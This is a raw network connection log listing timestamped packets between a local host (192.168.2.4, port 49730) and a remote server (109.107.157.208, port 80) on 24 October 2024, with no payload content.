Oct 24, 2024 13:27:09.935590982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.935626030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.935659885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.935694933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.935725927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.935759068 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.935794115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.935823917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.935832024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.935832024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.935832024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.935832024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.935832024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.935832024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.935858011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.935873985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.935873985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.935909986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937134981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937205076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937242985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937298059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937324047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937324047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937325001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937331915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937356949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937361956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937388897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937395096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937424898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937429905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937444925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937464952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937479973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937499046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937516928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937532902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937550068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937568903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937583923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937602997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937622070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937654018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937657118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937711000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937712908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937750101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937767029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937800884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937802076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937841892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937855959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937870026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937894106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937903881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937923908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937939882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937956095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.937971115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.937992096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938018084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938021898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938055992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938071012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938123941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938266993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938321114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938328028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938370943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938371897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938409090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938426018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938443899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938460112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938477993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938498020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938513041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938527107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938549995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938561916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938601017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938602924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938637018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938654900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938669920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938688993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938704967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938720942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938756943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.938915014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.938973904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939002991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939033031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939055920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939066887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939085007 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939100027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939119101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939133883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939152956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939188004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939234972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939269066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939299107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939328909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939357996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939390898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939414978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939425945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939439058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939476013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939608097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939642906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939666033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939692974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939697981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939732075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939752102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939765930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939781904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939817905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939819098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939872980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939873934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939908028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939928055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939959049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.939961910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.939994097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940012932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940046072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940051079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940104008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940124035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940136909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940155983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940170050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940190077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940222025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940222025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940252066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940282106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940294027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940304995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940357924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940361977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940413952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940416098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940450907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940470934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940484047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940502882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940519094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940537930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940570116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940571070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940604925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940634966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940639019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940660954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940684080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940694094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940726995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940742970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940761089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940776110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940794945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940813065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940845013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940849066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940880060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940896988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940913916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940927029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940948009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940963984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.940985918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.940995932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.941019058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.941032887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.941052914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.941068888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.941086054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.941102028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.941119909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.941132069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.941153049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.941169024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.941189051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.941200018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.941221952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.941236019 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.941256046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.941274881 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.941288948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.941299915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.941325903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.941337109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.941370010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.057766914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.063796997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.311775923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.311835051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.311873913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.311908960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.311997890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312032938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312050104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312050104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312050104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312068939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312087059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312103033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312104940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312124968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312141895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312175035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312211037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312243938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312279940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312313080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312336922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312336922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312336922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312336922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312336922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312349081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312376976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312376976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312385082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312419891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312422037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312432051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312453985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312486887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312486887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312510967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312522888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312561989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312570095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312597036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312613010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312632084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312647104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312665939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312685966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312706947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312717915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312741995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312776089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312805891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312808037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312843084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312849998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312876940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312877893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312906027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312916994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312949896 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.312983036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.312983036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313008070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313019037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313040972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313054085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313087940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313105106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313122034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313137054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313157082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313174009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313191891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313205004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313227892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313244104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313244104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313260078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313272953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313275099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313293934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313309908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313321114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313327074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313342094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313343048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313353062 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313363075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313375950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313380003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313396931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313412905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313426971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313427925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313443899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313458920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313472033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313477039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313491106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313496113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313513041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313513041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313529015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313544035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313546896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313560009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313575983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313579082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313584089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313600063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313601971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313618898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313632011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313647985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313663960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313678980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313687086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313694954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313709021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313709021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313710928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313724995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313730955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313740015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313755035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313764095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313772917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313788891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313791990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313806057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313812017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:10.313822985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:10.313838005 CEST	80	49730	109.107.157.208	192.168.2.4
